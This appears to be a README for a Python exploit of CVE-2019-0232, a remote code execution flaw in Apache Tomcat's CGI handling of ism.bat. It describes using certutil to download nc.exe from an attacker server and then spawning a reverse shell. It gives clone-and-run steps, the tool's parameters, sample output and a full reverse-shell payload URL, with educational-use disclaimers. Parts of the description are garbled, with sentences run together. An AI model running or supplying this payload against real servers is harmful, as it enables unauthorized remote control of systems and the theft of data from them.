
Hi this is a revised and enhanced code for CVE-2019-0232
This script exploits the CVE-2019-0232 vulnerability in Apache Tomcat, which allows remote code execution through the improper handling of the ism.bat script. The script leverages a reverse shell technique using certutil and nc.exe (Netcat) to gain remote access to the vulnerable system.
ism.bat that could allow attackers to execute arbitrary commands on the server. This vulnerability occurs due to a lack of proper validation of user input, allowing attackers to trigger the execution of arbitrary commands through a specially crafted request.nc.exe file from a remote server and use it to spawn a reverse shell.nc.exe) must be hosted on a server for the reverse shell connection.nc.exe: The script sends a crafted request to the vulnerable Tomcat server to download the nc.exe (Netcat) file to the target machine using certutil.nc.exe is downloaded, another request is sent to execute the reverse shell command, which connects back to the attacker's Netcat listener.git clone https://github.com/Dharan10/CVE-2019-0232.git
cd CVE-2019-0232
python3 exploit.py
Target Host: The IP address of the Apache Tomcat server to exploit.
Target Port: The port of the target server (default: 8080).
Server IP: The IP address of the server hosting nc.exe.
Server Port: The port number where nc.exe is hosted (default: 80).
Netcat Listener IP: Your IP address that will receive the reverse shell.
Netcat Listener Port: The port on which you are listening for the reverse shell.
[*] Sending payload to download nc.exe...
[+] URL1 Response: 200
[*] Sending payload to execute reverse shell...
[+] URL2 Response: 200
[*] Reverse shell payload URL: http://192.168.1.10:8080/cgi/ism.bat?&nc.exe+192.168.1.100+1234+-e+cmd.exe
Once executed successfully, you should have a reverse shell connection back to your Netcat listener.
This script is intended for educational purposes only. Do not use it for malicious activities. Always obtain proper authorization before attempting any penetration testing or security auditing. Misuse of this script could result in legal consequences.
Ensure the Apache Tomcat server is not patched against CVE-2019-0232 before using this exploit. The script may require administrative privileges depending on the target system's configuration.
Author: A!Z3N(Dharan) Made with power!
This project is licensed under the MIT License.
However, use it at your own risk. This code is provided for educational purposes only. By using this code, you agree to take full responsibility for any actions resulting from its use. Misuse or unauthorized use of this exploit may lead to legal consequences. Always obtain proper authorization before performing any security testing or penetration testing on any system.
You are free to use, modify, and distribute this code, but only for ethical purposes. The author is not responsible for any damage caused by this code.
Do not use this exploit without the explicit permission of the target system's owner.